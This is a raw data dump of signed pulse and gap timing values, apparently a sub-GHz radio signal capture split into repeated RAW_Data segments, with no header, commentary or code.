-360 327 -122 141 -344 135 -332 351 -140 335 -128 95 -368 139 -334 367 -106 339 -128 131 -3714 99 -364 123 -360 101 -394 319 -140 357 -106 335 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -122 109 -376 97 -362 123 -360 327 -122 123 -354 139 -334 371 -106 339 -130 131 -346 105 -370 365 -106 339 -128 97 -3724 133 -372 103 -360 103 -382 351 -94 359 -106 335 -124 373 -96 369 -96 125 -368 341 -126 357 -104 337 -124 121 -358 139 -336 125 -356 351 -138 107 -362 105 -370 343 -106 339 -130 133 -346 107 -368 365 -106 337 -130 97 -3720 131 -360 93 -390 103 -356 357 -106 353 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -122 109 -374 97 -362 125 -360 327 -122 143 -342 135 -332 353 -140 335 -126 95 -368 139 -334 367 -106 339 -128 131 -3716 99 -364 123 -360 101 -394 319 -142 317 -142 335 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -124 107 -376 97 -362 123 -360 327 -122 123 -354 139 -336 371 -106 337 -130 131 -348 105 -370 363 -108 337 -128 97 -3722 131 -360 93 -390 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -108 333 -124 109 -374 97 -362 123 -360 327 -122 143 -342 135 -334 353 -138 335 -126 95 -368 141 -334 365 -108 337 -130 131 -3714 99 -362 125 -338 127 -372 315 -126 359 -124 337 -128 337 -130 337 -128 125 -346 353 -140 335 -126 347 -94 121 -374 103 -368 125 -352 351 -140 105 -362 105 -370 343 -108 337 -132 131 -346 105 -370 365 -106 339 -128 95 -3724 133 -358 93 -390 103 -356 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -122 109 -374 97 -362 125 -360 327 -122 143 -342 133 -334 351 -140 335 -126 95 -370 139 -334 367 -106 339 -128 131 -3720 99 -384 101 -360 105 -370 345 -106 339 -130 357 -94 391 -104 357 -108 105 -398 319 -106 353 -142 333 -124 107 -376 97 -362 123 -360 327 -124 141 -344 133 -334 351 -140 335 -126 95 -368 141 -334 367 -106 337 -130 131 -3718 99 -362 93 -392 101 -394 319 -106 353 -140 333 -124 359 -106 357 -108 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 335 -126 95 -370 139 -334 367 -108 337 -130 129 -3694 131 -358 93 -390 -RAW_Data: 103 -356 357 -106 351 -140 333 -124 359 -104 359 -108 141 -344 345 -94 391 -104 357 -108 105 -348 125 -362 139 -334 367 -94 121 -370 97 -372 347 -124 351 -124 109 -342 129 -360 351 -140 333 -94 125 -3744 99 -382 103 -360 103 -370 345 -106 339 -132 357 -94 391 -104 357 -108 105 -398 321 -106 353 -140 333 -124 109 -374 97 -362 125 -360 327 -122 143 -342 135 -332 353 -140 333 -126 95 -370 139 -334 367 -108 337 -130 129 -3720 99 -384 103 -360 103 -370 345 -106 339 -132 355 -94 369 -128 337 -130 93 -368 367 -106 339 -130 353 -94 121 -374 137 -334 125 -354 351 -138 105 -364 105 -368 345 -106 339 -130 131 -348 105 -370 363 -108 337 -128 97 -3726 131 -372 105 -360 103 -382 355 -106 341 -102 363 -124 337 -128 339 -128 93 -368 367 -92 381 -102 335 -122 143 -342 135 -334 123 -374 317 -134 141 -344 95 -366 345 -126 337 -128 127 -344 123 -376 317 -134 335 -124 121 -3730 99 -384 95 -370 97 -372 347 -124 349 -126 337 -128 339 -128 337 -126 127 -352 349 -104 367 -94 375 -94 121 -374 101 -368 125 -354 349 -140 105 -364 103 -370 343 -108 337 -130 131 -346 105 -370 365 -108 337 -128 97 -3722 133 -358 93 -392 101 -358 355 -106 353 -140 333 -124 359 -104 359 -106 141 -362 321 -140 357 -106 335 -124 107 -376 97 -360 123 -360 329 -122 141 -344 135 -334 351 -140 333 -128 95 -370 139 -334 367 -106 337 -130 99 -3750 97 -362 123 -360 103 -394 319 -140 319 -142 333 -124 359 -104 359 -108 141 -362 317 -142 357 -108 333 -124 109 -374 97 -362 125 -360 327 -122 121 -356 139 -336 369 -108 337 -130 131 -346 105 -370 365 -108 337 -128 97 -3720 131 -360 93 -392 101 -358 355 -106 353 -140 333 -124 359 -106 357 -108 141 -362 321 -140 357 -106 333 -124 109 -374 97 -362 123 -360 327 -122 143 -342 135 -334 353 -138 335 -128 95 -368 139 -334 367 -106 339 -128 131 -3722 99 -360 93 -392 101 -358 355 -106 353 -140 333 -124 359 -106 357 -108 141 -362 319 -140 357 -108 333 -124 109 -374 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 335 -126 95 -370 139 -336 365 -108 337 -130 131 -3690 131 -350 137 -360 105 -368 345 -106 337 -130 355 -94 391 -104 359 -106 107 -398 319 -106 353 -140 333 -124 107 -376 97 -362 123 -360 329 -122 141 -342 135 -334 353 -140 333 -128 95 -368 139 -334 367 -106 339 -128 131 -3714 99 -364 123 -360 101 -394 319 -142 355 -108 333 -124 361 -104 357 -108 -RAW_Data: 141 -362 319 -142 357 -106 333 -124 109 -374 97 -362 125 -358 329 -122 121 -356 139 -334 371 -106 339 -130 131 -346 105 -370 365 -106 339 -128 97 -3724 133 -358 95 -390 101 -358 357 -106 351 -140 331 -124 359 -106 357 -108 105 -398 319 -142 355 -106 335 -124 107 -376 97 -360 123 -360 327 -122 143 -342 135 -334 353 -138 335 -128 95 -368 139 -334 367 -108 337 -130 129 -3722 99 -360 93 -392 101 -394 319 -106 353 -140 333 -124 359 -106 357 -108 141 -362 319 -140 357 -108 333 -124 109 -374 97 -362 123 -360 329 -122 141 -344 135 -332 353 -138 335 -128 95 -368 141 -334 367 -106 337 -130 97 -3750 99 -362 123 -340 129 -372 315 -124 359 -122 337 -128 337 -130 337 -128 127 -344 355 -140 333 -128 347 -94 121 -374 101 -370 125 -352 351 -138 107 -362 105 -370 343 -106 339 -130 133 -346 105 -370 363 -108 337 -128 97 -3722 133 -360 93 -390 103 -356 357 -106 351 -142 331 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -124 107 -376 97 -362 123 -360 327 -124 141 -344 133 -334 351 -140 335 -126 95 -370 139 -334 367 -106 339 -128 99 -3752 97 -384 101 -360 105 -370 345 -106 341 -130 357 -92 391 -104 359 -108 105 -398 319 -106 353 -142 333 -124 107 -376 97 -362 123 -360 327 -124 121 -356 139 -334 371 -108 337 -130 131 -346 105 -370 365 -106 339 -128 97 -3724 133 -358 93 -390 103 -356 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -122 109 -374 97 -362 125 -358 329 -122 141 -342 137 -332 351 -140 335 -126 97 -368 141 -334 365 -108 337 -130 131 -3692 131 -354 135 -360 105 -336 373 -108 337 -130 355 -94 391 -104 357 -108 105 -398 319 -106 353 -142 333 -124 107 -376 97 -360 125 -360 325 -124 141 -342 135 -334 353 -138 335 -128 95 -368 141 -334 367 -106 337 -130 131 -3722 99 -350 137 -360 105 -368 345 -106 339 -130 355 -94 391 -104 357 -108 105 -398 319 -106 353 -142 333 -124 107 -376 97 -362 123 -360 327 -122 143 -342 135 -334 353 -138 335 -126 95 -368 141 -334 367 -106 339 -128 131 -3690 133 -360 93 -390 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 317 -142 357 -108 333 -124 109 -374 97 -362 125 -360 327 -122 143 -342 135 -332 353 -138 335 -128 95 -368 139 -334 367 -108 337 -130 129 -3716 101 -362 123 -360 101 -394 319 -142 355 -106 335 -122 361 -104 357 -108 141 -362 319 -142 357 -106 335 -124 107 -374 97 -362 -RAW_Data: 125 -360 327 -122 123 -356 137 -336 371 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3722 133 -360 93 -390 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 317 -142 357 -108 333 -124 109 -374 97 -362 125 -360 327 -122 143 -342 135 -332 353 -140 335 -126 95 -368 139 -334 367 -108 337 -130 129 -3722 97 -384 101 -360 105 -370 345 -106 339 -132 357 -92 369 -128 337 -130 93 -366 369 -106 337 -130 357 -92 121 -376 137 -332 125 -356 349 -140 105 -364 105 -368 345 -106 339 -130 131 -348 105 -370 365 -108 337 -128 97 -3752 99 -360 93 -392 101 -358 355 -106 353 -140 333 -124 359 -106 357 -108 141 -362 319 -142 357 -106 333 -124 109 -374 97 -362 123 -360 329 -122 141 -344 135 -334 351 -140 333 -126 95 -370 139 -334 367 -108 337 -130 131 -3694 131 -358 93 -392 101 -356 357 -106 351 -142 331 -124 359 -104 359 -108 141 -362 319 -140 357 -108 333 -124 109 -374 97 -362 123 -360 327 -124 141 -342 135 -334 353 -138 335 -126 97 -368 139 -334 367 -108 337 -130 129 -3694 131 -372 105 -360 103 -382 353 -92 361 -104 337 -124 373 -94 371 -96 123 -368 343 -124 359 -104 335 -124 123 -358 139 -336 125 -356 351 -138 107 -362 105 -370 345 -106 339 -130 131 -346 105 -370 365 -108 337 -128 97 -3748 99 -362 125 -340 127 -372 315 -126 357 -124 337 -128 337 -130 337 -128 125 -344 355 -140 335 -126 347 -94 121 -374 103 -368 125 -352 351 -140 105 -362 105 -370 343 -108 337 -132 131 -346 107 -368 365 -108 337 -128 97 -3722 131 -360 93 -390 103 -356 357 -106 353 -140 333 -124 359 -104 359 -106 141 -364 317 -142 357 -106 335 -124 107 -376 97 -362 125 -358 329 -122 143 -342 135 -332 353 -140 333 -126 95 -368 141 -334 367 -106 339 -128 131 -3718 99 -362 123 -340 129 -372 315 -126 355 -124 337 -128 337 -130 337 -128 125 -344 355 -140 335 -128 347 -94 121 -374 101 -370 125 -352 353 -102 143 -362 105 -368 345 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3724 133 -358 93 -390 103 -356 357 -106 351 -142 331 -124 361 -104 357 -108 141 -362 319 -142 357 -106 335 -122 109 -374 97 -362 125 -360 327 -122 143 -342 135 -332 353 -138 335 -126 97 -368 141 -334 365 -108 337 -130 131 -3690 131 -352 135 -360 105 -370 343 -106 339 -128 357 -92 391 -104 359 -108 105 -398 319 -106 353 -142 333 -124 107 -376 97 -362 123 -360 327 -124 141 -342 137 -332 353 -140 335 -126 -RAW_Data: 95 -368 139 -334 367 -106 339 -130 131 -3716 99 -362 125 -340 127 -374 315 -124 357 -124 337 -128 337 -130 337 -128 125 -344 355 -140 335 -126 349 -94 121 -374 101 -368 125 -354 349 -140 105 -364 105 -368 345 -106 339 -130 131 -346 105 -370 365 -108 337 -128 97 -3726 131 -358 93 -390 103 -356 357 -106 351 -142 331 -124 359 -104 359 -108 141 -362 319 -140 357 -108 333 -124 109 -374 97 -362 123 -360 327 -124 141 -342 135 -334 351 -140 335 -126 95 -370 139 -334 367 -108 337 -130 129 -3716 101 -362 123 -360 101 -394 319 -140 357 -106 335 -124 359 -104 359 -108 141 -362 319 -140 357 -108 333 -124 109 -374 97 -362 123 -360 327 -124 121 -356 139 -334 371 -108 337 -130 131 -346 105 -370 365 -106 339 -128 97 -3724 131 -360 91 -392 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -108 333 -124 109 -374 97 -360 125 -360 327 -122 141 -342 137 -332 353 -140 335 -126 95 -370 139 -334 367 -106 339 -128 131 -3714 101 -364 123 -360 101 -394 319 -142 355 -106 335 -124 359 -104 359 -106 141 -364 319 -140 357 -106 335 -124 107 -376 97 -362 125 -358 329 -122 121 -356 139 -334 371 -106 339 -130 131 -346 105 -370 365 -106 339 -128 97 -3724 131 -358 93 -392 101 -358 357 -104 353 -140 333 -124 359 -104 359 -106 141 -364 319 -140 357 -106 335 -124 107 -376 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 335 -126 95 -370 139 -334 367 -106 339 -128 131 -3692 133 -358 93 -392 101 -358 355 -106 353 -140 333 -124 359 -104 359 -106 141 -362 319 -142 357 -106 335 -124 107 -376 97 -362 123 -360 327 -124 141 -344 135 -332 353 -138 335 -126 95 -368 141 -334 367 -106 339 -128 131 -3718 97 -348 127 -372 95 -372 347 -124 349 -124 339 -128 337 -128 337 -128 93 -384 349 -104 367 -94 375 -94 121 -374 101 -368 125 -352 351 -140 105 -362 105 -370 343 -108 337 -132 131 -346 105 -370 365 -106 339 -128 97 -3748 99 -362 125 -358 103 -394 319 -140 357 -106 333 -124 361 -104 357 -108 141 -362 319 -142 355 -106 335 -124 109 -374 97 -362 125 -358 329 -122 121 -356 139 -336 371 -106 337 -130 131 -348 105 -368 365 -108 337 -128 97 -3754 99 -360 93 -392 101 -358 357 -106 351 -142 331 -124 361 -104 357 -108 141 -362 319 -142 357 -106 335 -122 109 -374 97 -362 125 -360 327 -122 143 -342 135 -332 353 -140 335 -126 95 -370 139 -334 367 -106 339 -128 131 -3690 133 -360 -RAW_Data: 93 -390 101 -358 357 -106 351 -140 333 -124 359 -106 357 -108 141 -362 319 -140 357 -108 333 -124 109 -374 99 -360 125 -360 327 -122 143 -342 135 -334 351 -140 335 -128 95 -368 139 -334 367 -108 337 -130 131 -3722 97 -352 135 -360 105 -370 343 -108 337 -132 355 -94 391 -104 359 -106 107 -396 321 -106 353 -140 333 -124 107 -376 97 -362 123 -360 327 -124 121 -356 139 -336 369 -108 337 -130 131 -346 105 -370 365 -108 337 -128 97 -3754 99 -360 93 -390 103 -394 319 -106 353 -140 333 -124 359 -104 359 -106 141 -364 317 -142 357 -106 335 -124 107 -376 97 -362 123 -360 329 -122 141 -344 135 -334 351 -140 335 -126 95 -370 139 -334 367 -108 337 -130 97 -3748 99 -378 103 -360 105 -372 347 -106 373 -100 359 -94 367 -130 337 -128 93 -368 367 -106 339 -128 357 -92 121 -376 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 133 -348 105 -370 363 -108 337 -128 97 -3754 99 -360 93 -390 103 -358 355 -106 353 -140 333 -124 359 -106 357 -108 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 123 -360 327 -124 141 -344 135 -332 353 -140 335 -126 95 -370 139 -334 367 -106 339 -128 131 -3722 99 -360 93 -392 101 -394 319 -106 353 -142 333 -124 359 -104 359 -106 141 -362 319 -142 357 -106 335 -124 107 -376 97 -362 123 -360 327 -124 141 -342 135 -334 353 -138 335 -128 95 -368 141 -334 367 -106 337 -130 131 -3722 99 -382 103 -360 105 -370 343 -108 339 -130 357 -92 391 -104 357 -108 105 -398 321 -106 353 -142 333 -122 109 -376 97 -362 123 -360 327 -122 123 -354 139 -336 371 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3726 131 -358 93 -392 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -124 109 -374 97 -362 125 -358 329 -122 141 -342 135 -334 353 -140 333 -128 95 -370 139 -334 367 -106 339 -128 131 -3720 99 -382 103 -360 105 -368 347 -106 339 -132 357 -92 369 -128 337 -130 93 -368 367 -108 337 -130 355 -94 121 -374 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 133 -346 105 -370 365 -106 339 -128 97 -3724 131 -360 91 -392 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 359 -106 335 -122 109 -374 97 -362 125 -360 327 -122 143 -342 135 -334 351 -140 335 -126 95 -368 141 -334 367 -108 337 -130 129 -3722 97 -384 101 -360 105 -370 345 -106 341 -130 357 -92 369 -128 -RAW_Data: 339 -128 93 -368 367 -108 337 -130 355 -94 121 -374 137 -334 125 -354 353 -140 105 -362 105 -370 343 -106 339 -130 133 -346 105 -368 365 -108 337 -128 97 -3756 99 -360 93 -390 101 -358 357 -106 351 -142 333 -124 359 -104 359 -106 141 -362 319 -142 357 -106 335 -124 107 -376 97 -362 123 -360 327 -124 141 -342 135 -334 353 -138 335 -128 95 -368 141 -334 367 -106 337 -130 131 -3718 99 -382 103 -360 103 -370 347 -106 371 -100 359 -92 391 -104 359 -106 107 -398 319 -106 353 -142 331 -124 109 -376 97 -362 123 -360 327 -122 123 -356 139 -336 369 -108 337 -130 131 -346 105 -370 365 -108 337 -128 97 -3750 99 -362 93 -370 129 -340 347 -124 357 -124 337 -128 337 -130 337 -128 125 -344 355 -140 335 -126 349 -94 121 -374 101 -368 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 133 -348 105 -370 363 -108 337 -128 97 -3754 97 -362 93 -390 101 -394 321 -106 353 -140 333 -124 359 -106 357 -108 141 -362 319 -140 357 -108 333 -124 109 -374 99 -360 125 -360 327 -122 143 -342 135 -332 353 -140 335 -126 95 -370 139 -334 367 -106 339 -128 131 -3718 99 -362 123 -360 103 -392 319 -142 355 -108 333 -124 361 -104 357 -108 141 -362 319 -142 357 -106 333 -124 109 -374 97 -362 125 -358 329 -122 121 -358 139 -334 371 -106 339 -128 133 -346 105 -370 365 -106 337 -130 97 -3724 133 -358 93 -392 101 -356 357 -106 351 -142 333 -122 361 -104 357 -108 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 125 -360 327 -122 143 -342 135 -334 351 -140 335 -126 95 -370 139 -334 367 -106 339 -128 131 -3718 99 -380 103 -360 103 -372 347 -106 373 -98 359 -94 391 -104 359 -106 105 -398 321 -106 353 -140 333 -124 109 -374 97 -362 125 -360 327 -122 123 -356 139 -334 371 -106 339 -130 131 -346 105 -370 365 -106 339 -128 97 -3752 99 -382 103 -360 103 -370 347 -106 339 -130 359 -92 391 -104 359 -106 105 -398 319 -142 319 -140 335 -124 109 -374 97 -362 123 -360 327 -124 121 -356 139 -334 371 -106 339 -130 131 -346 105 -370 365 -106 339 -128 97 -3754 99 -360 93 -390 103 -394 319 -140 319 -142 331 -124 361 -104 357 -108 141 -364 317 -142 357 -106 335 -124 109 -374 97 -362 125 -358 327 -122 143 -342 135 -334 353 -140 333 -128 95 -368 141 -334 367 -106 339 -128 131 -3694 131 -358 93 -392 101 -358 357 -104 353 -140 333 -124 361 -104 357 -108 141 -362 319 -140 359 -106 335 -122 109 -376 -RAW_Data: 97 -362 123 -360 327 -122 143 -342 135 -334 353 -138 335 -128 95 -368 141 -334 365 -108 337 -130 131 -3720 99 -360 93 -392 101 -394 319 -140 319 -142 333 -124 359 -104 359 -108 141 -362 319 -142 357 -106 333 -124 109 -374 99 -360 125 -360 327 -122 143 -342 135 -334 351 -140 335 -126 97 -370 139 -334 367 -106 339 -128 99 -3750 99 -362 93 -372 127 -374 315 -124 357 -124 337 -128 337 -130 337 -128 125 -344 355 -140 335 -126 349 -94 121 -374 101 -368 125 -354 349 -140 105 -364 103 -370 345 -106 339 -130 131 -348 105 -370 365 -106 339 -128 97 -3744 99 -358 137 -360 103 -380 319 -142 341 -102 361 -124 361 -104 357 -108 105 -398 319 -142 319 -142 333 -124 107 -376 97 -362 125 -358 327 -122 143 -342 137 -334 351 -140 335 -126 95 -370 139 -336 365 -108 337 -130 129 -3720 97 -382 103 -360 103 -372 345 -106 373 -100 359 -92 391 -104 359 -106 107 -398 319 -140 319 -142 331 -124 109 -376 97 -362 123 -360 327 -122 123 -356 139 -336 371 -106 337 -130 133 -346 105 -368 365 -108 337 -128 97 -3754 97 -384 103 -360 103 -370 345 -106 339 -132 357 -124 359 -104 359 -106 107 -396 321 -140 319 -142 333 -124 109 -374 97 -362 123 -360 327 -124 141 -344 135 -332 353 -140 335 -126 95 -368 139 -336 367 -106 337 -130 131 -3722 99 -360 93 -392 101 -394 319 -140 319 -142 333 -122 361 -104 359 -106 143 -362 317 -142 357 -108 333 -124 109 -374 97 -362 125 -360 327 -122 143 -342 135 -332 353 -140 335 -126 95 -370 139 -334 367 -106 339 -128 99 -3754 97 -384 101 -360 105 -370 345 -106 339 -130 359 -124 337 -128 339 -128 93 -368 367 -106 339 -130 357 -92 121 -376 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 133 -346 105 -368 365 -108 337 -128 97 -3726 131 -358 93 -392 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -344 345 -94 391 -104 357 -108 105 -348 125 -364 139 -334 367 -92 123 -370 97 -372 347 -124 349 -126 109 -374 97 -360 351 -140 333 -94 125 -3742 99 -380 103 -360 105 -370 349 -106 371 -100 359 -92 391 -104 359 -108 105 -398 319 -106 355 -140 333 -124 109 -374 97 -362 125 -360 325 -124 121 -356 139 -336 371 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3754 99 -360 93 -392 101 -394 319 -140 319 -142 333 -122 361 -104 359 -106 141 -362 319 -140 359 -106 335 -124 107 -376 97 -362 123 -360 327 -124 141 -342 135 -334 353 -140 -RAW_Data: 335 -126 95 -368 141 -334 365 -108 337 -130 131 -3716 99 -362 125 -358 103 -392 319 -142 357 -106 335 -124 359 -104 359 -106 141 -364 317 -142 357 -106 335 -124 107 -376 97 -362 125 -358 329 -122 121 -356 139 -336 371 -106 339 -128 133 -346 105 -370 365 -106 337 -130 97 -3750 99 -362 93 -370 129 -340 345 -126 357 -124 337 -126 339 -128 337 -128 127 -344 355 -140 335 -126 349 -94 121 -372 103 -368 125 -352 353 -140 105 -362 105 -370 343 -106 339 -130 133 -346 105 -370 365 -106 337 -128 97 -3726 131 -360 93 -390 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -108 333 -124 109 -374 97 -362 125 -360 327 -122 143 -342 135 -332 353 -140 335 -126 95 -368 141 -334 367 -106 337 -130 131 -3718 99 -380 103 -360 103 -370 349 -106 371 -100 359 -94 389 -106 357 -108 105 -398 321 -104 353 -142 333 -124 107 -376 97 -362 123 -360 327 -122 123 -356 139 -336 371 -106 337 -130 131 -348 105 -370 363 -108 337 -128 97 -3754 97 -384 101 -360 105 -370 345 -106 339 -132 355 -94 369 -128 337 -128 95 -366 369 -106 337 -130 357 -92 121 -376 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 133 -346 107 -368 365 -108 337 -128 97 -3726 131 -358 93 -392 101 -358 355 -106 353 -140 333 -124 359 -104 359 -106 141 -362 321 -140 357 -106 335 -124 107 -376 97 -360 125 -358 329 -122 141 -342 137 -332 353 -140 335 -126 95 -370 141 -334 365 -108 337 -130 131 -3718 99 -380 103 -360 105 -370 347 -106 371 -100 357 -94 391 -104 357 -108 105 -398 321 -106 353 -140 333 -124 109 -374 97 -362 125 -360 327 -122 123 -356 139 -334 371 -106 339 -130 131 -346 105 -370 365 -106 339 -128 97 -3750 99 -362 123 -340 129 -370 315 -126 357 -124 337 -128 337 -130 337 -128 125 -346 355 -140 333 -126 349 -94 121 -372 103 -368 125 -354 351 -138 107 -362 105 -368 345 -106 339 -130 133 -346 105 -370 365 -106 337 -130 95 -3726 133 -358 93 -392 101 -356 357 -106 351 -142 333 -122 361 -104 359 -106 141 -346 345 -92 391 -106 357 -108 105 -348 125 -360 125 -342 379 -94 125 -352 127 -340 347 -124 357 -124 89 -378 139 -334 369 -92 347 -134 141 -3712 103 -368 91 -380 93 -372 349 -130 329 -124 337 -128 337 -128 339 -128 125 -372 327 -140 335 -128 351 -94 121 -374 103 -368 125 -354 349 -140 105 -364 105 -368 345 -106 339 -130 131 -346 105 -370 365 -108 337 -128 97 -3752 -RAW_Data: 99 -362 93 -390 101 -394 319 -142 319 -140 333 -124 359 -106 357 -108 141 -362 319 -142 357 -106 333 -124 109 -374 99 -360 125 -360 327 -122 143 -342 135 -334 351 -140 335 -126 95 -370 139 -334 367 -106 337 -130 131 -3692 133 -358 93 -390 103 -356 357 -106 353 -140 333 -124 359 -104 359 -108 141 -362 317 -142 357 -106 335 -122 109 -376 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 335 -126 95 -368 141 -334 367 -106 339 -128 99 -3752 99 -382 103 -360 103 -370 347 -108 339 -132 355 -94 389 -104 359 -106 105 -398 319 -142 317 -140 333 -124 109 -374 99 -360 125 -360 327 -122 141 -344 135 -332 353 -140 335 -126 95 -370 139 -334 367 -106 339 -128 99 -3754 97 -362 91 -392 101 -358 357 -140 319 -142 333 -124 359 -104 359 -106 105 -398 319 -140 357 -106 335 -124 107 -376 97 -362 125 -360 325 -124 141 -342 135 -332 353 -140 333 -128 95 -368 141 -332 367 -108 337 -128 99 -3748 99 -362 125 -338 127 -372 347 -96 359 -124 337 -128 337 -128 339 -126 127 -344 355 -140 333 -126 349 -92 123 -374 137 -332 125 -354 349 -140 105 -364 103 -370 345 -106 339 -130 131 -346 105 -370 365 -108 337 -128 97 -3724 131 -360 93 -390 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 355 -108 333 -124 109 -374 97 -362 123 -360 327 -124 141 -344 135 -332 351 -140 333 -128 95 -368 141 -334 367 -106 337 -130 99 -3724 131 -374 103 -362 103 -382 351 -94 359 -104 337 -124 373 -96 369 -96 125 -366 343 -126 357 -104 335 -124 123 -356 141 -334 127 -356 349 -140 105 -364 105 -368 345 -106 339 -130 131 -346 105 -370 365 -108 337 -128 97 -3754 99 -360 93 -390 101 -394 321 -106 353 -140 333 -124 359 -104 359 -106 107 -396 321 -140 355 -106 335 -124 107 -376 97 -360 125 -358 329 -122 141 -342 135 -334 351 -140 335 -126 95 -368 141 -334 365 -108 337 -130 131 -3692 131 -360 93 -390 101 -358 357 -106 351 -140 333 -124 359 -106 357 -108 105 -398 319 -142 319 -140 333 -124 109 -374 99 -360 125 -360 327 -122 143 -342 135 -332 353 -138 335 -126 95 -368 141 -334 365 -108 337 -130 97 -3752 99 -382 103 -360 103 -370 347 -106 339 -130 357 -94 369 -128 337 -128 93 -368 367 -108 337 -130 355 -94 121 -374 101 -368 125 -354 351 -682016 163 -358 139 -358 107 -338 351 -140 337 -96 379 -94 369 -96 371 -96 125 -370 329 -140 337 -128 351 -94 121 -372 101 -368 125 -354 -RAW_Data: 349 -104 141 -364 103 -338 373 -106 339 -128 99 -382 93 -380 353 -106 349 -138 105 -3706 131 -360 101 -358 107 -370 363 -106 337 -128 351 -94 369 -98 369 -96 127 -368 363 -108 337 -128 353 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -338 375 -106 337 -130 131 -348 93 -380 353 -106 349 -140 105 -3702 131 -356 103 -394 105 -336 367 -108 337 -130 351 -94 369 -128 339 -128 93 -368 365 -108 339 -128 355 -94 121 -372 103 -368 125 -352 351 -138 107 -362 105 -368 343 -106 339 -130 131 -346 105 -368 365 -108 335 -130 97 -3726 131 -370 103 -360 103 -380 359 -106 343 -100 361 -94 367 -130 337 -128 93 -368 365 -94 345 -136 333 -124 143 -342 99 -368 123 -372 319 -134 139 -344 95 -366 343 -126 337 -128 127 -344 125 -374 319 -134 333 -124 123 -3724 99 -384 95 -370 97 -372 347 -124 349 -126 337 -128 339 -128 337 -126 95 -384 349 -102 337 -124 375 -94 121 -374 101 -368 125 -352 351 -102 143 -362 105 -336 377 -106 339 -130 129 -350 93 -380 353 -106 349 -140 103 -3700 131 -350 137 -360 105 -338 375 -106 339 -130 353 -94 369 -128 339 -128 93 -368 365 -108 337 -130 353 -94 121 -374 101 -368 125 -354 351 -138 107 -362 105 -368 345 -106 337 -130 131 -348 105 -370 363 -108 337 -128 97 -3720 133 -358 93 -390 101 -358 357 -106 351 -140 333 -124 359 -104 359 -106 107 -398 319 -140 319 -142 331 -124 109 -376 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 333 -126 95 -368 139 -334 367 -106 337 -130 131 -3718 99 -384 101 -360 105 -368 345 -106 339 -130 357 -92 391 -104 359 -108 105 -398 319 -106 353 -140 333 -124 109 -374 97 -360 125 -360 327 -122 121 -356 139 -334 371 -106 337 -130 131 -348 93 -380 353 -106 351 -140 103 -3706 133 -356 101 -396 105 -334 369 -106 337 -130 353 -94 369 -128 337 -128 95 -366 367 -106 339 -128 355 -92 121 -374 139 -332 125 -354 351 -138 107 -362 105 -370 343 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3720 131 -360 93 -390 103 -356 357 -106 351 -140 333 -124 359 -104 359 -106 141 -364 319 -140 357 -106 335 -122 109 -374 97 -360 125 -360 327 -122 143 -342 135 -332 353 -138 335 -126 95 -368 141 -334 365 -108 337 -130 97 -3722 131 -360 93 -392 101 -358 357 -104 353 -140 331 -124 361 -104 357 -108 105 -398 319 -142 319 -142 333 -124 109 -374 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 333 -126 95 -368 -RAW_Data: 141 -334 367 -106 337 -130 97 -3754 97 -350 137 -360 103 -368 345 -106 339 -130 357 -92 369 -128 339 -128 93 -368 367 -108 337 -130 355 -92 121 -374 137 -334 125 -354 349 -140 105 -364 105 -368 345 -106 337 -130 131 -348 105 -370 365 -106 337 -130 95 -3750 99 -362 93 -390 101 -358 357 -106 351 -140 333 -124 359 -106 357 -108 141 -362 319 -142 355 -106 335 -124 107 -376 97 -360 125 -358 329 -122 121 -356 137 -336 371 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3752 99 -360 93 -392 101 -358 355 -106 353 -140 331 -124 359 -106 357 -108 105 -398 319 -142 355 -106 335 -124 107 -374 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 333 -126 95 -370 139 -334 367 -108 337 -130 97 -3750 99 -362 93 -390 103 -358 357 -104 353 -140 333 -124 359 -104 359 -106 141 -364 319 -140 357 -106 333 -124 109 -374 97 -362 123 -360 327 -122 123 -356 137 -336 371 -106 337 -130 131 -348 93 -380 353 -106 351 -140 103 -3732 97 -384 103 -360 103 -372 343 -108 337 -132 355 -94 369 -128 337 -130 93 -368 365 -108 337 -130 355 -92 121 -374 139 -332 125 -354 351 -140 105 -362 105 -370 343 -106 339 -130 131 -346 105 -370 365 -106 339 -128 97 -3722 131 -360 93 -390 101 -358 357 -106 351 -140 333 -122 361 -104 357 -108 141 -362 319 -142 355 -108 333 -124 109 -374 97 -360 125 -360 327 -122 143 -342 135 -334 351 -140 333 -126 95 -368 139 -334 369 -106 337 -130 131 -3722 97 -352 137 -360 105 -336 377 -106 339 